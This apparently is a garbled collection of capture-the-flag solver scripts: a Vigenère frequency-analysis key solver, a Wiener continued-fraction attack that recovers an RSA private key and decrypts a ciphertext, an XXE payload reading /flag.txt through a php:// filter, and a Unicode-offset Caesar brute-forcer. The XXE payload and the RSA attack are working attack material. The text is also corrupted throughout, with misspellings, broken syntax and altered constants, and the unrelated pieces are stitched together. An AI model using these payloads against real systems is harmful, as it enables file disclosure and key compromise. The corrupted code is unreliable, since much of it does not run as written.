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import itertools
import string
import sys
import textwrap

Run this script in a shell with the ciphertext to decode on STDIN

S
# Vienere encrvotion and decrvption functions
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def vigenere(plaintext, key, a_is_zero=True):

key = key.lower()

if not all(k in string.ascii_lowercase for k in key):

raise ValueError("Invalid key {!r}; the key can only consist of English letters".format(key))

key iter = itertools.cycle(map(ord, key))

return "".join(
chr(ord('a"') + (

(next(key_iter) - ord('a') + ord(letter) - ord('a')) # Calculate shifted value

+ (0 if a_is_zero else 2) # Account for non-zero indexing

) % 26) if letter in string.ascii_lowercase # Ignore non-alphabetic chars
else letter
for letter in plaintext.lower()

def vigenere_decrypt(ciphertext, key, a_is_zero=True):
# Decryption is encryption with the inverse key
key _ind = [ord(k) - ord('a') for k in key.lower()]
inverse = "".join(chr(ord('a') +
((26 if a_is_zero else 22) -
(ord(k) - ord('a'"))
) % 26) for k in key)
return vigenere(ciphertext, inverse, a_is_zero)

def test_vigenere(text, key, a_is_zero=True):
ciphertext = vigenere(text, key, a_is_zero)
plaintext = vigenere_decrypt(ciphertext, key, a_is_zero)
assert plaintext == text, "{!r} -> {!Ir} -> {!r} (a {}= 0)".format(

text, ciphertext, plaintext, if a_is_zero else "!")
# Test that the Vigenere encrypt and decrypt work (or are at least inverses)
for text in ["rewind", "text with spaces", "pun.ctuation", "numb3rs"]:
for key in ["iepw", "aceaq", "safe", "pwa"]:
test_vigenere(text, key, True)
test_vigenere(text, key, False)

# Now that we're sure that all the vigenere stuff is working...
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# Cipher solver
HHHHHH A H AR

# From http://code.activestate.com/recipes/142813-deciphering-caesar-code/

ENGLISH_FREQ = (0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047,
0.0357, 0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116,
0.0169, 0.0028, 0.0164, 0.0004)

def compare_freq(text):

Compare the letter distribution of the given text with normal English. Lower is closer.

Performs a simple sum of absolute difference for each letter
if not text:
return None
text = [t for t in text.lower() if t in string.ascii_lowercase]
freq = [0] * 26
total = float(len(text))



def

for 1 in text:
freq[ord(l) - ord('a')] +=1
return sum(abs(f / total - E) for f, E in zip(freq, ENGLISH_FREQ))

solve_vigenere(text, key _min_size=None, key_max_size=None, a_is_zero=True):

Solve a Vigenere cipher by finding keys such that the plaintext resembles English

Returns:
the first and second best from the set of best keys for each length

This is not a brute force solver; instead, it takes advantage of a weakness in the cipher to
solve in O(n * K*2) where n is the length of the text to decrypt and K is the length of the
longest key to try.

The idea is that for any key length, the key is used repeatedly, so if the key is of length k
and we take every k'th letter, those letters should have approximately the same distribution as
the English language on a whole. Furthermore, since each letter in the key is independent, we
can perform the analysis for each letter in the key by taking every k'th letter at different
starting offsets. Then, since the letters in the key are independent, we can construct the best
key for a given length by simply joining the best candidates for each position.

best_keys = []

key_min_size = key_min_size or 1

key_max_size = key_max_size or 20

text_letters

[c for c in text.lower() if c in string.ascii_lowercase]

for key_length in range(key_min_size, key_max_size):
# Try all possible key lengths
key = [None] * key_length
for key_index in range(key_length):
letters = ""
shifts = []

for key_char in string.ascii_lowercase:

.join(itertools.islice(text_letters, key_index, None, key_length))

shifts.append(
(compare_freq(vigenere_decrypt(letters, key char, a_is_zero)), key_char)
)
key[key_index] = min(shifts, key=lambda x: x[0])[1]
best_keys.append("".join(key))
best_keys.sort(key=1lambda key: compare_freq(vigenere_decrypt(text, key, a_is_zero)))
return best_keys[:2]

CIPHERTEXT = sys.stdin.read().strip()

print "Solving Vigenere cipher:"
print "*" * 80

print textwrap.fill(CIPHERTEXT, 80)
print "*" * 80

for

key in reversed(solve_vigenere(CIPHERTEXT)):
print ""

print "Found key: {!r}".format(key)

print "Solution:"

print "=" * 80

print textwrap.fill(vigenere_decrypt(CIPHERTEXT, key))
print "=" * 80
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import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
import binascii

def hack_RSA(e,n):
Finds d knowing (e,n)
applying the Wiener continued fraction attack
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)

for (k,d) in convergents:

#check if d is actually the key
if k!=0 and (e*d-1)%k == @:
phi = (e*d-1)//k
s=n-phi+1
# check if the equation x*2 - s*x + n =0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if tl=-1 and (s+t)%2==0:
print("Hacked!")
return d

# TEST functions

def test_hack_RSA():
print("Testing Wiener Attack")

while(times>0):
e,n,d = RSAvulnerableKeyGenerator.generateKeys(1024)
print("(e,n) is (", e, ", ", n, ")")
print("d ", d)

hacked_d = hack_RSA(e, n)
if d == hacked_d:
print("Hack WORKED!")
else:
print("Hack FAILED")

print("d = ", d, ", hacked_d = ", hacked_d)
print("-----------------oo- - ")
times -= 1

if __name__ == "__main__ ":

#test_is_perfect_square()



#print("--------------mmmeo oo ")
# test_hack_RSA()

e = 932333292871340311536583425772799788581476608800501618257200913635688712797956595013312457091949241
n = 108317841960371944863879963247520267264472797174174992607856867346749172172989193916266419288520843
C = 629671321698958970045785762020010033814849277886377341930329645318473402676175912514800812974363555

d=hack_RSA(e, n)

print('d=",d)

m=pow(c, d,n)

print('m=",m)

b = hex(m) ##¥pH F )57 5 B ' 0x665554 "

b = b[2:] #&EE# ox'

c = binascii.a2b_hex(b) #¥#MASCLi%mHE M FFFE
print(c)
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<!DOCTYPE xxe [

<!ELEMENT name ANY >

<IENTITY xxe SYSTEM "php://read=convert.base64-encode/resource=/flag.txt" >]>
<user><username>&xxe;</username><password>admin</password></user>
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open("caesar", "r", encoding="utf-8").read()

f = f.split("\n")[1]
f = [int(c.encode("unicode-escape").decode("utf-8").replace("\\u", ""), 16) for c in f]
offset = 25000
while True:
# ZiREHunicodeB R [E1 % &K F
# print(''.join([hex(b-offset).replace("0x", "\\u@" if len(hex(b-offset).replace("-", "")) == 5 else "\
try:
print(f"offset:{offset} result: " + ''.join([chr(b-offset) for b in f]))
except:

continue
finally:
offset -=1
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